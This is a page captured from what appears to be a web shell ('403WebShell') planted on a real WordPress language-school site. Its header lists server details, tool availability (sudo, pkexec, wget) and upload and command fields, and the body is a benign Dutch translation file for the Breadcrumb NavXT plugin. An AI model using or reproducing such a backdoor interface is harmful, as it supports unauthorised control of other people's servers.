Uname:Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

403WebShell
403Webshell
Server IP : 188.114.97.2  /  Your IP : 104.23.243.201
Web Server : Apache/2.4.59 (Debian)
System : Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : edlftp ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nicolasj/www/ecoledelangues.be/wp-content/languages/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nicolasj/www/ecoledelangues.be/wp-content/languages/plugins/breadcrumb-navxt-nl_NL.po
# Translation of Plugins - Breadcrumb NavXT - Stable (latest release) in Dutch
# This file is distributed under the same license as the Plugins - Breadcrumb NavXT - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2016-04-22 20:30:50+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/2.4.0-alpha\n"
"Language: nl\n"
"Project-Id-Version: Plugins - Breadcrumb NavXT - Stable (latest release)\n"

#: class.bcn_admin.php:506
msgctxt "Paged as in when on an archive or post that is split into multiple pages"
msgid "Paged Breadcrumb"
msgstr "Gepagineerde broodkruimels"

#: class.bcn_admin.php:506
msgid "Place the page number breadcrumb in the trail."
msgstr "Plaats de paginanummer-broodkruimel in het pad."

#: class.bcn_admin.php:507
msgctxt "Paged as in when on an archive or post that is split into multiple pages"
msgid "Paged Template"
msgstr "Gepagineerd template"

#: class.bcn_breadcrumb_trail.php:572
msgctxt "day archive breadcrumb date format"
msgid "d"
msgstr "d"

#: class.bcn_breadcrumb_trail.php:601
msgctxt "month archive breadcrumb date format"
msgid "F"
msgstr "F"

#: class.bcn_breadcrumb_trail.php:630
msgctxt "year archive breadcrumb date format"
msgid "Y"
msgstr "Y"

#: includes/class.mtekk_adminkit.php:323
msgid "Your settings are for an older version of this plugin and need to be migrated."
msgstr "De instellingen zijn voor een oudere versie van deze plugin en moeten overgezet worden."

#: includes/class.mtekk_adminkit.php:333
msgid "Your settings are for a newer version of this plugin."
msgstr "De instellingen zijn voor een nieuwere versie van deze plugin."

#: includes/class.mtekk_adminkit.php:334
msgid "Attempt back migration now."
msgstr "Poging tot migratie naar een oudere versie."

#: class.bcn_breadcrumb_trail.php:77
msgid "<span property=\"itemListElement\" typeof=\"ListItem\"><span property=\"name\">Page %htitle%</span><meta property=\"position\" content=\"%position%\"></span>"
msgstr "<span property=\"itemListElement\" typeof=\"ListItem\"><span property=\"name\">Pagina %htitle%</span><meta property=\"position\" content=\"%position%\"></span>"

#: class.bcn_breadcrumb_trail.php:110
msgid "<span property=\"itemListElement\" typeof=\"ListItem\"><span property=\"name\">Search results for &#39;<a property=\"item\" typeof=\"WebPage\" title=\"Go to the first page of search results for %title%.\" href=\"%link%\" class=\"%type%\">%htitle%</a>&#39;</span><meta property=\"position\" content=\"%position%\"></span>"
msgstr "<span property=\"itemListElement\" typeof=\"ListItem\"><span property=\"name\">Zoekresultaten voor &#39;<a property=\"item\" typeof=\"WebPage\" title=\"Ga naar de eerste pagina met zoekresultaten voor %title%.\" href=\"%link%\" class=\"%type%\">%htitle%</a>&#39;</span><meta property=\"position\" content=\"%position%\"></span>"

#: class.bcn_breadcrumb_trail.php:112
msgid "<span property=\"itemListElement\" typeof=\"ListItem\"><span property=\"name\">Search results for &#39;%htitle%&#39;</span><meta property=\"position\" content=\"%position%\"></span>"
msgstr "<span property=\"itemListElement\" typeof=\"ListItem\"><span property=\"name\">Zoekresultaten voor &#39;%htitle%&#39;</span><meta property=\"position\" content=\"%position%\"></span>"

#: class.bcn_breadcrumb_trail.php:125
msgid "<span property=\"itemListElement\" typeof=\"ListItem\"><span property=\"name\">Articles by: <a title=\"Go to the first page of posts by %title%.\" href=\"%link%\" class=\"%type%\">%htitle%</a>"
msgstr "<span property=\"itemListElement\" typeof=\"ListItem\"><span property=\"name\">Berichten door: <a title=\"Ga naar de eerste pagina van berichten door %title%.\" href=\"%link%\" class=\"%type%\">%htitle%</a>"

#: class.bcn_breadcrumb_trail.php:127
msgid "<span property=\"itemListElement\" typeof=\"ListItem\"><span property=\"name\">Articles by: %htitle%</span><meta property=\"position\" content=\"%position%\"></span>"
msgstr "<span property=\"itemListElement\" typeof=\"ListItem\"><span property=\"name\">Berichten door: %htitle%</span><meta property=\"position\" content=\"%position%\"></span>"

#: includes/class.mtekk_adminkit.php:351
msgid "One or more of your plugin settings are invalid."
msgstr "Eén of meer plugin-instellingen zijn niet geldig."

#: class.bcn_admin.php:332
msgid "%sTranslate%s: Is your language not available? Visit the Breadcrumb NavXT translation project on WordPress.org to start translating."
msgstr "%sTranslate%s: Is je taal niet beschikbaar? Bezoek dan het 'Breadcrumb NavXT'-vertalingsproject op WordPress.org om aan de vertaling te beginnen."

#: class.bcn_breadcrumb_trail.php:115
msgid "<span property=\"itemListElement\" typeof=\"ListItem\"><a property=\"item\" typeof=\"WebPage\" title=\"Go to the %title% tag archives.\" href=\"%link%\" class=\"%type%\"><span property=\"name\">%htitle%</span></a><meta property=\"position\" content=\"%position%\"></span>"
msgstr "<span property=\"itemListElement\" typeof=\"ListItem\"><a property=\"item\" typeof=\"WebPage\" title=\"Ga naar de %title% tag-archieven.\" href=\"%link%\" class=\"%type%\"><span property=\"name\">%htitle%</span></a><meta property=\"position\" content=\"%position%\"></span>"

#: class.bcn_breadcrumb_trail.php:120 class.bcn_breadcrumb_trail.php:136
msgid "<span property=\"itemListElement\" typeof=\"ListItem\"><a property=\"item\" typeof=\"WebPage\" title=\"Go to the %title% archives.\" href=\"%link%\" class=\"%type%\"><span property=\"name\">%htitle%</span></a><meta property=\"position\" content=\"%position%\"></span>"
msgstr "<span property=\"itemListElement\" typeof=\"ListItem\"><a property=\"item\" typeof=\"WebPage\" title=\"Ga naar de %title% archieven.\" href=\"%link%\" class=\"%type%\"><span property=\"name\">%htitle%</span></a><meta property=\"position\" content=\"%position%\"></span>"

#: class.bcn_breadcrumb_trail.php:132
msgid "<span property=\"itemListElement\" typeof=\"ListItem\"><a property=\"item\" typeof=\"WebPage\" title=\"Go to the %title% category archives.\" href=\"%link%\" class=\"%type%\"><span property=\"name\">%htitle%</span></a><meta property=\"position\" content=\"%position%\"></span>"
msgstr "<span property=\"itemListElement\" typeof=\"ListItem\"><a property=\"item\" typeof=\"WebPage\" title=\"Ga naar de %title% categorie-archieven.\" href=\"%link%\" class=\"%type%\"><span property=\"name\">%htitle%</span></a><meta property=\"position\" content=\"%position%\"></span>"

#: class.bcn_breadcrumb.php:91
msgid "<span property=\"itemListElement\" typeof=\"ListItem\"><a property=\"item\" typeof=\"WebPage\" title=\"Go to %title%.\" href=\"%link%\" class=\"%type%\"><span property=\"name\">%htitle%</span></a><meta property=\"position\" content=\"%position%\"></span>"
msgstr "<span property=\"itemListElement\" typeof=\"ListItem\"><a property=\"item\" typeof=\"WebPage\" title=\"Ga naar de %title%.\" href=\"%link%\" class=\"%type%\"><span property=\"name\">%htitle%</span></a><meta property=\"position\" content=\"%position%\"></span>"

#: class.bcn_network_admin.php:154 class.bcn_network_admin.php:158
msgid "Warning: Individual site settings may override any settings set in this page."
msgstr "Waarschuwing: individuele site instellingen kunnen instellingen ingesteld op deze pagina overschrijven."

#: class.bcn_widget.php:115
msgid "Google (RDFa) Breadcrumbs"
msgstr "Google (RDFa) Breadcrumbs"

#. Plugin Name of the plugin/theme
msgid "Breadcrumb NavXT"
msgstr "Breadcrumb NavXT"

#. Plugin URI of the plugin/theme
msgid "http://mtekk.us/code/breadcrumb-navxt/"
msgstr "http://mtekk.us/code/breadcrumb-navxt/"

#. Author of the plugin/theme
msgid "John Havlik"
msgstr "John Havlik"

#. Author URI of the plugin/theme
msgid "http://mtekk.us/"
msgstr "http://mtekk.us/"

#: class.bcn_widget.php:104
msgid "Title:"
msgstr "Titel:"

#: class.bcn_widget.php:114
msgid "List"
msgstr "Lijst"

#: class.bcn_widget.php:126
msgid "Hide the trail on the front page"
msgstr "Verberg het pad op de voorpagina"

#: includes/class.mtekk_adminkit.php:247
msgid "Settings"
msgstr "Instellingen"

#: includes/class.mtekk_adminkit.php:324 includes/class.mtekk_adminkit.php:334
msgid "Migrate the settings now."
msgstr "Migreer nu de instellingen."

#: includes/class.mtekk_adminkit.php:324
msgid "Migrate now."
msgstr "Migreer nu."

#: includes/class.mtekk_adminkit.php:343
msgid "Load default settings now."
msgstr "Laad nu de standaardinstellingen."

#: includes/class.mtekk_adminkit.php:343
msgid "Complete now."
msgstr "Voltooi nu."

#: includes/class.mtekk_adminkit.php:551 includes/class.mtekk_adminkit.php:565
#: includes/class.mtekk_adminkit.php:671 includes/class.mtekk_adminkit.php:696
#: includes/class.mtekk_adminkit.php:714
msgid "Undo"
msgstr "Ongedaan maken"

#: includes/class.mtekk_adminkit.php:564
msgid "Some settings were not saved."
msgstr "Sommige instellingen zijn niet opgeslagen."

#: includes/class.mtekk_adminkit.php:566
msgid "The following settings were not saved:"
msgstr "De volgende instellingen zijn niet opgeslagen:"

#: includes/class.mtekk_adminkit.php:676
msgid "Importing settings from file failed."
msgstr "Instellingen importeren uit bestand is mislukt."

#: includes/class.mtekk_adminkit.php:696
msgid "Undo the options reset."
msgstr "Maak terugzetten van de opties naar standaardwaarden ongedaan."

#: includes/class.mtekk_adminkit.php:714
msgid "Undo the last undo operation."
msgstr "Maak de laatste handeling ongedaan."

#: class.bcn_breadcrumb_trail.php:484
msgid "$post global is not of type WP_Post"
msgstr "$post global is geen type WP_Post"

#: class.bcn_network_admin.php:146 class.bcn_network_admin.php:164
msgid "Warning: Individual site settings will override any settings set in this page."
msgstr "Waarschuwing: individuele site-instellingen overschrijven elke instelling op deze pagina."

#: class.bcn_network_admin.php:44
msgid "Breadcrumb NavXT Network Settings"
msgstr "'Breadcrumb NavXT'-netwerkinstellingen"

#: class.bcn_widget.php:35
msgid "Adds a breadcrumb trail to your sidebar"
msgstr "Voegt een kruimelpad toe aan je zijbalk"

#: class.bcn_widget.php:108
msgid "Text to show before the trail:"
msgstr "Weer te geven tekst voor het pad:"

#: class.bcn_widget.php:112
msgid "Output trail as:"
msgstr "Geef pad weer als:"

#: class.bcn_widget.php:116
msgid "Plain"
msgstr "Gewoon"

#: class.bcn_widget.php:122
msgid "Link the breadcrumbs"
msgstr "Link de kruimelpaden"

#: class.bcn_widget.php:124
msgid "Reverse the order of the trail"
msgstr "De volgorde van het pad omkeren"

#: includes/class.mtekk_adminkit.php:342
msgid "Your plugin install is incomplete."
msgstr "Je plugin-installatie is onvolledig."

#: includes/class.mtekk_adminkit.php:352
msgid "Attempt to fix settings now."
msgstr "Poging om nu de instellingen te repareren."

#: includes/class.mtekk_adminkit.php:352
msgid "Fix now."
msgstr "Nu repareren."

#: includes/class.mtekk_adminkit.php:550
msgid "Settings successfully saved."
msgstr "Instellingen opgeslagen."

#: includes/class.mtekk_adminkit.php:551 includes/class.mtekk_adminkit.php:565
msgid "Undo the options save."
msgstr "Maak het opslaan van de opties ongedaan."

#: includes/class.mtekk_adminkit.php:555
msgid "Settings did not change, nothing to save."
msgstr "De instellingen zijn niet veranderd, niets om op te slaan."

#: includes/class.mtekk_adminkit.php:559
msgid "Settings were not saved."
msgstr "De instellingen zijn niet opgeslagen."

#: includes/class.mtekk_adminkit.php:571
msgid "Please include this message in your %sbug report%s."
msgstr "Gelieve dit bericht op te nemen in je %sfoutraport%s."

#: includes/class.mtekk_adminkit.php:571
msgid "Go to the %s support post for your version."
msgstr "Ga naar het %s ondersteuningsbericht voor je versie."

#: includes/class.mtekk_adminkit.php:670
msgid "Settings successfully imported from the uploaded file."
msgstr "Instellingen geïmporteerd uit het geüploade bestand."

#: includes/class.mtekk_adminkit.php:671
msgid "Undo the options import."
msgstr "Het importeren van de opties ongedaan maken."

#: includes/class.mtekk_adminkit.php:695
msgid "Settings successfully reset to the default values."
msgstr "Instellingen teruggezet naar de standaardwaarden."

#: includes/class.mtekk_adminkit.php:713
msgid "Settings successfully undid the last operation."
msgstr "Instellingen heeft de laatste handeling ongedaan gemaakt."

#: includes/class.mtekk_adminkit.php:749
msgid "Settings successfully migrated."
msgstr "Instellingen gemigreerd."

#: includes/class.mtekk_adminkit.php:756
msgid "Default settings successfully installed."
msgstr "Standaardinstellingen geïnstalleerd."

#: includes/class.mtekk_adminkit.php:868
msgid "Import settings from a XML file, export the current settings to a XML file, or reset to the default settings."
msgstr "Instellingen importeren uit een XML-bestand, exporteer de huidige instellingen naar een XML-bestand, of reset naar de standaardinstellingen."

#: includes/class.mtekk_adminkit.php:871
msgid "Settings File"
msgstr "Instellingenbestand"

#: includes/class.mtekk_adminkit.php:874
msgid "Select a XML settings file to upload and import settings from."
msgstr "Selecteer een XML-bestand om daaruit de instellingen te uploaden en importeren."

#. Description of the plugin/theme
msgid "Adds a breadcrumb navigation showing the visitor&#39;s path to their current location. For details on how to use this plugin visit <a href=\"http://mtekk.us/code/breadcrumb-navxt/\">Breadcrumb NavXT</a>."
msgstr "Voegt kruimelpad-navigatie toe die aan de bezoeker het pad toont van zijn huidige locatie. Bezoek <a href=\"http://mtekk.us/code/breadcrumb-navxt/\">Breadcrumb NavXT</a> voor meer informatie over het gebruik van deze plugin."

#: class.bcn_admin.php:434 class.bcn_network_admin.php:163
msgid "Warning: No BCN_SETTINGS_* define statement found, defaulting to BCN_SETTINGS_USE_LOCAL."
msgstr "Waarschuwing: Geen BCN_SETTINGS_* definitie statement gevonden, standaard ingesteld op BCN_SETTINGS_FAVOR_NETWORK."

#: class.bcn_admin.php:540
msgid "Posts"
msgstr "Berichten"

#: class.bcn_admin.php:558 class.bcn_admin.php:635
msgid "Post Parent"
msgstr "Hoofdbericht"

#: class.bcn_admin.php:656
msgid "The hierarchy which the breadcrumb trail will show."
msgstr "De hiërarchie die het kruimelpad zal laten zien."

#: class.bcn_admin.php:630
msgid "%s Hierarchy"
msgstr "%s Hiërarchie"

#: class.bcn_admin.php:674
msgid "The settings for all taxonomies (including Categories, Tags, and custom taxonomies) are located under this tab."
msgstr "De instellingen voor alle taxonomieën (waaronder Categorieën, Tags, en aangepaste taxonomieën) bevinden zich onder dit tabblad."

#: includes/class.mtekk_adminkit.php:121
msgid "Insufficient privileges to proceed."
msgstr "Onvoldoende rechten om verder te gaan."

#: class.bcn_admin.php:325
msgid "Tips for the settings are located below select options."
msgstr "Tips voor de instellingen bevinden zich onder geselecteerde opties."

#: class.bcn_admin.php:326
msgid "Resources"
msgstr "Middelen"

#: class.bcn_admin.php:328
msgid "%sOnline Documentation%s: Check out the documentation for more indepth technical information."
msgstr "%sOnline Documentatie%s: Raadpleeg de documentatie (Engels) voor meer diepgaande technische informatie."

#: class.bcn_admin.php:331
msgid "Go to PayPal to give a donation to Breadcrumb NavXT."
msgstr "Ga naar PayPal om te doneren aan Breadcrumb NavXT."

#: class.bcn_admin.php:337 class.bcn_admin.php:494 class.bcn_admin.php:495
msgid "General"
msgstr "Algemeen"

#: class.bcn_admin.php:498
msgid "Placed in between each breadcrumb."
msgstr "Geplaatst tussen elk kruimelpad."

#: class.bcn_admin.php:505
msgid "Yes"
msgstr "Ja"

#: class.bcn_admin.php:554 class.bcn_admin.php:675
msgid "Categories"
msgstr "Categorieën"

#: class.bcn_admin.php:555 class.bcn_admin.php:636
msgid "Dates"
msgstr "Data"

#: class.bcn_admin.php:556 class.bcn_admin.php:682
msgid "Tags"
msgstr "Tags"

#: class.bcn_admin.php:578
msgid "Pages"
msgstr "Pagina's"

#: class.bcn_admin.php:723 class.bcn_admin.php:732
msgid "Miscellaneous"
msgstr "Diversen"

#: class.bcn_admin.php:729
msgid "display_name uses the name specified in \"Display name publicly as\" under the user profile the others correspond to options in the user profile."
msgstr "display_name gebruikt de naam opgegeven in \"Toon naam publiekelijk als\" onder het gebruikersprofiel, de anderen komen overeen met opties in het gebruikersprofiel."

#: class.bcn_breadcrumb_trail.php:107
msgid "404"
msgstr "404"

#: class.bcn_admin.php:359
msgid "Using the code from the Quick Start section above, the following CSS can be used as base for styling your breadcrumb trail."
msgstr "Met behulp van de code van bovenstaande 'Snelle start'-sectie kan het volgende CSS worden gebruikt, als basis voor het vormgeven van je kruimelpad."

#: class.bcn_admin.php:371
msgid "Styling"
msgstr "Opmaak"

#: class.bcn_admin.php:377
msgid "Import/Export/Reset"
msgstr "Importeren/Exporteren/Resetten"

#: class.bcn_admin.php:401 includes/class.mtekk_adminkit.php:876
msgid "Import"
msgstr "Importeren"

#: class.bcn_admin.php:402 includes/class.mtekk_adminkit.php:877
msgid "Export"
msgstr "Exporteren"

#: class.bcn_admin.php:403 includes/class.mtekk_adminkit.php:878
msgid "Reset"
msgstr "Resetten"

#: class.bcn_admin.php:421
msgid "Warning: Your network settings will override any settings set in this page."
msgstr "Waarschuwing: de netwerkinstellingen overschrijven elke instelling van deze pagina."

#: class.bcn_admin.php:425 class.bcn_admin.php:429
msgid "Warning: Your network settings may override any settings set in this page."
msgstr "Waarschuwing: de netwerkinstellingen kunnen instellingen op deze pagina overschrijven. "

#: class.bcn_admin.php:446
msgid "Warning: Your are using a deprecated setting \"Title Length\" (see Miscellaneous &gt; Deprecated), please %1$suse CSS instead%2$s."
msgstr "Waarschuwing: je gebruikt een verouderde instelling 'Titellengte' (zie Miscellaneous &gt; Deprecated), %1$sgebruik in plaats daarvan CSS%2$s."

#: class.bcn_admin.php:446 class.bcn_admin.php:752
msgid "Go to the guide on trimming breadcrumb title lengths with CSS"
msgstr "Ga naar de handleiding over het inkorten van titellengte van de broodkruimel met CSS"

#: class.bcn_admin.php:65
msgid "Breadcrumb NavXT Settings"
msgstr "'Breadcrumb NavXT'-instellingen"

#: class.bcn_admin.php:494
msgid "A collection of settings most likely to be modified are located under this tab."
msgstr "Een verzameling instellingen die het meest waarschijnlijk worden aangepast, bevinden zich onder dit tabblad."

#: class.bcn_admin.php:498
msgid "Breadcrumb Separator"
msgstr "Kruimelpad-scheidingsteken"

#: class.bcn_admin.php:502
msgid "Current Item"
msgstr "Huidig item"

#: class.bcn_admin.php:505
msgid "Link Current Item"
msgstr "Link huidig item"

#: class.bcn_admin.php:511 class.bcn_admin.php:514
msgid "Home Breadcrumb"
msgstr "Home-kruimelpad"

#: class.bcn_admin.php:514
msgid "Place the home breadcrumb in the trail."
msgstr "Plaatst het home-kruimelpad in het spoor."

#: class.bcn_admin.php:516
msgid "Home Template (Unlinked)"
msgstr "Home-template (niet gelinkt)"

#: class.bcn_admin.php:516
msgid "The template for the home breadcrumb, used when the breadcrumb is not linked."
msgstr "Het template voor het home-kruimelpad, wordt gebruikt als het kruimelpad niet gelinkt is."

#: class.bcn_admin.php:520 class.bcn_admin.php:523
msgid "Blog Breadcrumb"
msgstr "Blog-kruimelpad"

#: class.bcn_admin.php:523
msgid "Place the blog breadcrumb in the trail."
msgstr "Plaatst het blog-kruimelpad in het spoor."

#: class.bcn_admin.php:506
msgid "Indicates that the user is on a page other than the first of a paginated archive or post."
msgstr "Betekent dat de gebruiker op een andere pagina is dan de eerste van gepagineerde berichten/pagina's."

#: class.bcn_admin.php:507
msgid "The template for paged breadcrumbs."
msgstr "Het template voor gepagineerde kruimelpaden."

#: class.bcn_admin.php:515
msgid "Home Template"
msgstr "Home-template"

#: class.bcn_admin.php:515
msgid "The template for the home breadcrumb."
msgstr "Het template voor het home-kruimelpad."

#: class.bcn_admin.php:527
msgid "Mainsite Breadcrumb"
msgstr "Hoofdsite-kruimelpad"

#: class.bcn_admin.php:530
msgid "Main Site Breadcrumb"
msgstr "Hoofdsite-kruimelpad"

#: class.bcn_admin.php:530
msgid "Place the main site home breadcrumb in the trail in an multisite setup."
msgstr "Plaat het home-kruimelpad van de hoofdsite in het spoor van een multisite-installatie."

#: class.bcn_admin.php:531
msgid "Main Site Home Template"
msgstr "Home-template van de hoofdsite"

#: class.bcn_admin.php:531
msgid "The template for the main site home breadcrumb, used only in multisite environments."
msgstr "Het template voor het home-kruimelpad van de hoofdsite, wordt alleen gebruikt in multisite-omgevingen."

#: class.bcn_admin.php:532
msgid "Main Site Home Template (Unlinked)"
msgstr "Home-template van de hoofdsite (niet gelinkt)"

#: class.bcn_admin.php:532
msgid "The template for the main site home breadcrumb, used only in multisite environments and when the breadcrumb is not linked."
msgstr "Het template voor het home-kruimelpad van de hoofdsite, wordt alleen gebruikt in multisite-omgevingen en als het kruimelpad niet gelinkt is."

#: class.bcn_admin.php:539
msgid "Post Types"
msgstr "Berichttypen"

#: class.bcn_admin.php:539
msgid "The settings for all post types (Posts, Pages, and Custom Post Types) are located under this tab."
msgstr "De instellingen voor alle berichttypen (berichten, pagina's, en aangepaste berichttypen) bevinden zich onder dit tabblad."

#: class.bcn_admin.php:543
msgid "Post Template"
msgstr "Berichttemplate"

#: class.bcn_admin.php:543
msgid "The template for post breadcrumbs."
msgstr "Het template voor bericht-kruimelpaden."

#: class.bcn_admin.php:544
msgid "Post Template (Unlinked)"
msgstr "Berichttemplate (niet gelinkt)"

#: class.bcn_admin.php:544
msgid "The template for post breadcrumbs, used only when the breadcrumb is not linked."
msgstr "Het template voor bericht-kruimelpaden, wordt alleen gebruikt wanneer het kruimelpad niet gelinkt is."

#: class.bcn_admin.php:545
msgid "Post Hierarchy Display"
msgstr "Weergave bericht-hiërarchie"

#: class.bcn_admin.php:545
msgid "Show the hierarchy (specified below) leading to a post in the breadcrumb trail."
msgstr "Toon de hiërarchie (hieronder aangegeven) die leidt naar een bericht in kruimelpad."

#: class.bcn_admin.php:550
msgid "Post Hierarchy"
msgstr "Berichthiërarchie"

#: class.bcn_admin.php:574 class.bcn_admin.php:660
msgid "The hierarchy which the breadcrumb trail will show. Note that the \"Post Parent\" option may require an additional plugin to behave as expected since this is a non-hierarchical post type."
msgstr "De hiërarchie die het kruimelpad zal tonen. Let op: de 'Hoofdbericht'-optie kan een extra plugin vereisen om correct te kunnen functioneren, aangezien dit een niet-hiërarchisch berichttype is."

#: class.bcn_admin.php:581
msgid "Page Template"
msgstr "Paginatemplate"

#: class.bcn_admin.php:581
msgid "The template for page breadcrumbs."
msgstr "Het template voor pagina-kruimelpaden."

#: class.bcn_admin.php:582
msgid "Page Template (Unlinked)"
msgstr "Paginatemplate (niet gelinkt)"

#: class.bcn_admin.php:582
msgid "The template for page breadcrumbs, used only when the breadcrumb is not linked."
msgstr "Het template voor pagina-kruimelpaden, wordt alleen gebruikt als het kruimelpad niet gelinkt is."

#: class.bcn_admin.php:590
msgid "Attachment Template"
msgstr "Bijlagetemplate"

#: class.bcn_admin.php:587
msgid "Attachments"
msgstr "Bijlagen"

#: class.bcn_admin.php:590
msgid "The template for attachment breadcrumbs."
msgstr "Het template voor bijlage-kruimelpaden."

#: class.bcn_admin.php:591
msgid "Attachment Template (Unlinked)"
msgstr "Bijlage-template (niet gelinkt)"

#: class.bcn_admin.php:591
msgid "The template for attachment breadcrumbs, used only when the breadcrumb is not linked."
msgstr "Het template voor bijlage-kruimelpaden, wordt alleen gebruikt als het kruimelpad niet gelinkt is."

#: class.bcn_admin.php:611 class.bcn_admin.php:713
msgid "%s Template"
msgstr "Template %s"

#: class.bcn_admin.php:611 class.bcn_admin.php:713
msgid "The template for %s breadcrumbs."
msgstr "Het template voor %s-kruimelpaden."

#: class.bcn_admin.php:612 class.bcn_admin.php:714
msgid "%s Template (Unlinked)"
msgstr "Template %s (niet gelinkt)"

#: class.bcn_admin.php:612 class.bcn_admin.php:714
msgid "The template for %s breadcrumbs, used only when the breadcrumb is not linked."
msgstr "Het template voor %s-kruimelpaden, wordt alleen gebruikt als het kruimelpad niet gelinkt is."

#: class.bcn_admin.php:617
msgid "%s Root Page"
msgstr "Hoofdpagina %s"

#: class.bcn_admin.php:620
msgid "&mdash; Select &mdash;"
msgstr "&mdash; Selecteren &mdash;"

#: class.bcn_admin.php:624
msgid "%s Archive Display"
msgstr "%s Archiefweergave"

#: class.bcn_admin.php:624
msgid "Show the breadcrumb for the %s post type archives in the breadcrumb trail."
msgstr "Toon het kruimelpad voor %s berichttype-archieven in het kruimelpad."

#: class.bcn_admin.php:625
msgid "%s Hierarchy Display"
msgstr "%s Hiërarchieweergave"

#: class.bcn_admin.php:625
msgid "Show the hierarchy (specified below) leading to a %s in the breadcrumb trail."
msgstr "Toon de hiërarchie (hieronder weergegeven) die leidt naar een %s in het kruimelpad."

#: class.bcn_admin.php:674
msgid "Taxonomies"
msgstr "Taxonomieën"

#: class.bcn_admin.php:678
msgid "Category Template"
msgstr "Categorie-template"

#: class.bcn_admin.php:678
msgid "The template for category breadcrumbs."
msgstr "Het template voor categorie-kruimelpaden."

#: class.bcn_admin.php:679
msgid "Category Template (Unlinked)"
msgstr "Categorie-template (niet gelinkt)"

#: class.bcn_admin.php:679
msgid "The template for category breadcrumbs, used only when the breadcrumb is not linked."
msgstr "Het template voor categorie-kruimelpaden, wordt alleen gebruikt als het kruimelpad niet gelinkt is."

#: class.bcn_admin.php:685
msgid "Tag Template"
msgstr "Tag-template"

#: class.bcn_admin.php:685
msgid "The template for tag breadcrumbs."
msgstr "Het template voor tag-kruimelpaden."

#: class.bcn_admin.php:686
msgid "Tag Template (Unlinked)"
msgstr "Tag-template (niet gelinkt)"

#: class.bcn_admin.php:686
msgid "The template for tag breadcrumbs, used only when the breadcrumb is not linked."
msgstr "Het template voor tag-kruimelpaden, wordt alleen gebruikt als het kruimelpad niet gelinkt is."

#: class.bcn_admin.php:689
msgid "Post Formats"
msgstr "Berichtformaten"

#: class.bcn_admin.php:692
msgid "Post Format Template"
msgstr "Template voor berichtformaat"

#: class.bcn_admin.php:692
msgid "The template for post format breadcrumbs."
msgstr "Het template voor berichtformaat-kruimelpaden."

#: class.bcn_admin.php:693
msgid "Post Format Template (Unlinked)"
msgstr "Template voor berichtformaat (niet gelinkt)"

#: class.bcn_admin.php:693
msgid "The template for post_format breadcrumbs, used only when the breadcrumb is not linked."
msgstr "Het template voor berichtformaat-kruimelpaden, wordt alleen gebruikt als het kruimelpad niet gelinkt is."

#: class.bcn_admin.php:723
msgid "The settings for author and date archives, searches, and 404 pages are located under this tab."
msgstr "De instellingen voor de auteurs- en datumarchieven, zoekopdrachten, en 404-pagina's bevinden zich onder dit tabblad."

#: class.bcn_admin.php:727
msgid "Author Template"
msgstr "Auteurstemplate"

#: class.bcn_admin.php:727
msgid "The template for author breadcrumbs."
msgstr "Het template voor auteurskruimelpaden."

#: class.bcn_admin.php:728
msgid "Author Template (Unlinked)"
msgstr "Auteurstemplate (niet gelinkt)"

#: class.bcn_admin.php:728
msgid "The template for author breadcrumbs, used only when the breadcrumb is not linked."
msgstr "Het template voor auteurskruimelpaden, wordt alleen gebruikt als het kruimelpad niet gelinkt is."

#: class.bcn_admin.php:729
msgid "Author Display Format"
msgstr "Opmaak auteursweergave"

#: class.bcn_admin.php:735
msgid "Date Template"
msgstr "Datumtemplate"

#: class.bcn_admin.php:735
msgid "The template for date breadcrumbs."
msgstr "Het template voor datum-kruimelpaden."

#: class.bcn_admin.php:736
msgid "Date Template (Unlinked)"
msgstr "Datumtemplate (niet gelinkt)"

#: class.bcn_admin.php:736
msgid "The template for date breadcrumbs, used only when the breadcrumb is not linked."
msgstr "Het template voor datum-kruimelpaden, wordt alleen gebruikt als het kruimelpad niet gelinkt is."

#: class.bcn_admin.php:737
msgid "Search Template"
msgstr "Zoektemplate"

#: class.bcn_admin.php:737
msgid "The anchor template for search breadcrumbs, used only when the search results span several pages."
msgstr "Het ankertemplate voor zoek-kruimelpaden, wordt alleen gebruikt als de zoekresultaten meerdere pagina's omvatten."

#: class.bcn_admin.php:738
msgid "Search Template (Unlinked)"
msgstr "Zoektemplate (niet gelinkt)"

#: class.bcn_admin.php:738
msgid "The anchor template for search breadcrumbs, used only when the search results span several pages and the breadcrumb is not linked."
msgstr "Het ankertemplate voor zoek-kruimelpaden, wordt alleen gebruikt als de zoekresultaten meerdere pagina's omvatten en als het kruimelpad niet gelinkt is."

#: class.bcn_admin.php:739
msgid "404 Title"
msgstr "404-titel"

#: class.bcn_admin.php:740
msgid "404 Template"
msgstr "404-template"

#: class.bcn_admin.php:740
msgid "The template for 404 breadcrumbs."
msgstr "Het template voor 404-kruimelpaden."

#: class.bcn_admin.php:743
msgid "Deprecated"
msgstr "Verouderd"

#: class.bcn_admin.php:752
msgid "Limit the length of the breadcrumb title. (Deprecated, %suse CSS instead%s)"
msgstr "Beperk de lengte van de kruimelpad-titel. (Verouderd, %s gebruik in plaats daarvan CSS%s)"

#: class.bcn_admin.php:747
msgid "Title Length"
msgstr "Titellengte"

#: class.bcn_admin.php:757
msgid "Max Title Length: "
msgstr "Maximale titellengte: "

#: class.bcn_admin.php:769
msgid "Save Changes"
msgstr "Wijzigingen opslaan"

#: breadcrumb-navxt.php:36 class.bcn_admin.php:26
msgid "Your PHP version is too old, please upgrade to a newer version. Your version is %1$s, Breadcrumb NavXT requires %2$s"
